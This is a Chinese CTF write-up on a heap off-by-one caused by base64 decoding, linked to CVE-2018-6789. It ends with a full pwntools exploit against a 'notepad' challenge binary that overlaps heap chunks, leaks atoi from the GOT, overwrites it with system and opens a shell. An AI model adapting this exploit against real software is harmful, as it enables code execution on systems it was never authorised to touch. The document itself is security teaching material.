简介
off-by-one
漏洞在堆分配时有比较大的威胁, 在pwn
中利用比较常见, 这里介绍一个由base64
解码造成的off-by-one漏洞, 这个漏洞在CVE-2018-6789当中是真实存在的, 这里以一个ctf中的pwn题目notepad来介绍一下利用过程;
前置知识
原理在分析程序之前先介绍一下Base64
的编码和解码的原理;
Base64编码
Base64编码的原理是将二进制数据进行分组,每24Bit
(即3字节)为一个大组,再把一个大组的数据分成4
个6Bit
的小分组;
因为6bit数据只能表示64个不同的字符(2^6=64),这64个字符分别对应ASCII码表中的'A'-'Z','a'-'z','0''9','+'和'/'
; 这些字符的对应关系是由Base64字符集决定的;
因为小分组中的6Bit
数据表示起来不符合计算机的操作习惯,所以要把每个小分组进行高位补零
操作,这样的话每个小分组就构成了一个8Bit
(1字节)的数据; 在补零操作完成后, 就是将小分组的内容作为Base64字符集的下标,然后一一替换成对应的ASCII字符, 编码工作就完成了;
但是这里面仍然有需要解决的细节问题:
在编码之前我们无法保证需要编码的字符串长度是3的倍数,所以为了让编码能够顺利进行就必须在获取编码字符串的同时判断字符串的长度是否是3的倍数,如果是3的倍数编码就可以正常进行,如果不是3的倍数就要进行补零的操作,就是要在不足3的倍数的字符串末尾用\x00
进行填充;
这样虽然解决了字符串长度不足的问题了,但是同时也引进了另一个新的问题,那就是末尾补充上的\x00
在进行Base64字符集替换的时候会与字符集中的'A'
字符发生冲突; 因为字符集中的下标0对应的字符是'A'
,而末尾填充上的\x00
在分组补零后同样是下标0,这样就无法分辨出到底是末尾填充的\x00
还是二进制数据中的0x00
; 所以为了解决这个问题我们就必须引入Base64字符集外的新字符来区分末尾补充上的\x00
,这就是'='
字符不在Base64字符集中,但是也出现在Base64编码的原因了,'='字符在一个Base64编码的末尾中最多会出现两个,如果不符合这以规则那么这个Base64就可能是错误的或被修改过;
Base64解码
Base64解密的工作原理相对来说就比较简单了,只需要和加密操作方式相反即可;
首先将Base64编码根据其对应的字符集转换成下标,这就是补完零后的8Bit(1字节)数据; 在编码操作有补零操作那自然解码操作时就会有去零操作了,我们将这些8Bit
数据的最高位
上的两个0
抹去形成6Bit
数据,这也就是前面我们编码操作中提到过的小分组; 最后将每4
个6Bit
数据进行合并形成24Bit
的大分组,然后将这些大分组按照每组8Bit
进行拆分就会得到3个8Bit的数据,此时的8Bit数据就是加密前的数据了, 解码工作好完成了;
题目分析
checksec
题目主要有4个功能:
主要用于添加, 显示, 修改和删除一个note
, 所有数据的修改都是在基于堆的;
漏洞点
这个程序的漏洞主要在于密码的内存空间的分配上面, 程序是将我们输入的password
进行base64解码
后存在堆中的:
这里面的v2
就是我们输入的password
的长度, base64解码的逻辑是把4个字节当做一组,4个字节解码成3个字节, 所以这里如果我们传入的密文长度为4n + 3
字节, 则函数会将最后三个字节解码为两个字节, 最终明文长度为3n+2
个字节, 但是分配的堆空间的大小为3n+1
个字节, 所以这里就会发生off-by-one
了;
取个例子:
比如我们设置密码为MTIz
时, 解密出来在内存中是0x0000000000333231
, 即字符串123
, 此时密码长度为4
:
当我们重新设置密码为MTIzMTI
时, 即在MTIz
后面加了3
个字节,符合4n+1
的公式, 此时密码解密出是0x0000003231333231
, 即字符串12312
了
但是这里没有发生溢出的原因是因为堆在分配内存的时候后有一个内存空间补齐的操作, 只要我们构造合适长度的password
就可以造成溢出了;
这个密码可以使用:
pay = base64.b64encode(b"a"*0x88+b"\xc1")[:-1] + b"\x00"
其中\xc1
就是溢出的那个字节;
利用思路
off-by-one
的总体利用思路其实就是利用堆A
的溢出, 修改下一个堆B
的size
位, 将堆B
的大小变大, 从而包含堆'B'的后面一个或多个堆, 然后free
掉堆B
, 在申请一个大小合适的堆, 结合程序的具体功能我们就可以修改堆中的指针了;
而本程序就是包含堆之后去修改password
和content
的指针, 从而泄露出got
表中atoi
函数的内容, 计算出system
函数地址并修改, 控制程序流程;
首先分配5
个堆, 然后free
第2,和第1个:
addnote("1"*0x10, passwd, 0x10, "a"*8) # 1
addnote("2"*0x10, passwd, 0x100, "a"*8) # 2
addnote("3"*0x10, passwd, 0x10, "a"*8) # 3
addnote("4"*0x10, passwd, 0x10, "a"*8) # 4
addnote("5"*0x10, passwd, 0x10, "a"*8) # 5
delnote("2"*0x10, passwd)
delnote("1"*0x10, passwd)
此时内存堆分布如下:
注意红框的部分, 接下来我们要从这个堆里面分一部分出来存放password
, 然后利用off-by-one
溢出覆盖下个堆的size
;
delnote("2"*0x10, passwd)
delnote("1"*0x10, passwd)
pay = base64.b64encode(b"a"*0x88+b"\xc1")[:-1] + b"\x00"
addnote("2"*0x10, pay, 0x10, "q"*8) # 2
通过下面这个两个图可以看出如果没有off-by-one
的内存分布:
未溢出时:
可以看出未分配的堆大小为0x80
;
溢出后:
可以看到我们把未分配的堆大小修改为0xc0
了, 也就是说我们把下面的已经分配的堆也分配进去了, 所以下一次我们申请堆的时候可以把已经分配的堆的也包含进去, 从而可以修改指针了;
EXP
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
name = "./notepad"
p = process(name)
elf = ELF(name)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if args.G:
gdb.attach(p)
def addnote(name, passwd, size, data):
p.recvuntil("choice> ")
p.sendline("1")
p.recvuntil("name> ")
p.send(name)
p.recvuntil("1:yes, 0:no)> ")
p.sendline("1")
p.recvuntil("password> ")
p.sendline(str(passwd, encoding="utf-8"))
p.recvuntil("content size> ")
p.sendline(str(size))
p.recvuntil("content> ")
p.sendline(data)
def shownote(name, passwd):
p.recvuntil("choice> ")
p.sendline("2")
p.recvuntil("name> ")
p.send(name)
p.recvuntil("password> ")
p.sendline(str(passwd, encoding="utf8"))
def editnote(name, passwd, newpasswd, size, data):
p.recvuntil("choice> ")
p.sendline("3")
p.recvuntil("name> ")
p.send(name)
p.recvuntil("password> ")
p.sendline(str(passwd, encoding="utf8"))
p.recvuntil("1:yes, 0:no)> ")
p.sendline("0")
# p.recvuntil("password> ")
# p.sendline(str(newpasswd, encoding="utf8"))
p.recvuntil("content size> ")
p.sendline(str(size))
p.recvuntil("content> ")
p.send(data)
def delnote(name, passwd):
p.recvuntil("choice> ")
p.sendline("4")
p.recvuntil("name> ")
p.send(name)
p.recvuntil("password> ")
p.sendline(str(passwd, encoding="utf8"))
passwd = base64.b64encode(b"sir")
newpasswd = base64.b64encode(b"cc-sir")
addnote("1"*0x10, passwd, 0x10, "a"*8) # 1
addnote("2"*0x10, passwd, 0x100, "a"*8) # 2
addnote("3"*0x10, passwd, 0x10, "a"*8) # 3
addnote("4"*0x10, passwd, 0x10, "a"*8) # 4
addnote("5"*0x10, passwd, 0x10, "a"*8) # 5
delnote("2"*0x10, passwd) # delete 2
delnote("1"*0x10, passwd) # delete 1
pay = base64.b64encode(b"a"*0x88+b"\xc1")[:-1] + b"\x00"
addnote("2"*0x10, pay, 0x100, "q"*8) # off-by-one 修改堆的大小
payload = b"s"*0x78 + p64(0x31) + b"c"*0x10 + p64(0x401981) + p64(0x602090)
addnote("6"*0x10, passwd, 0xb0, payload) # 6 包含后面的堆
shownote("c"*0x10, base64.b64encode(b"choice> "))
atoi_addr = u64(p.recv(6) + b"\x00\x00")
system_addr = atoi_addr + 0xb200
print("atoi_addr: " + hex(atoi_addr))
print("system_addr: " + hex(system_addr))
editnote("c"*0x10, base64.b64encode(b"choice> "), newpasswd, 8, p64(system_addr))
p.recvuntil("choice> ")
p.sendline("/bin/sh\x00")
p.interactive()
运行结果: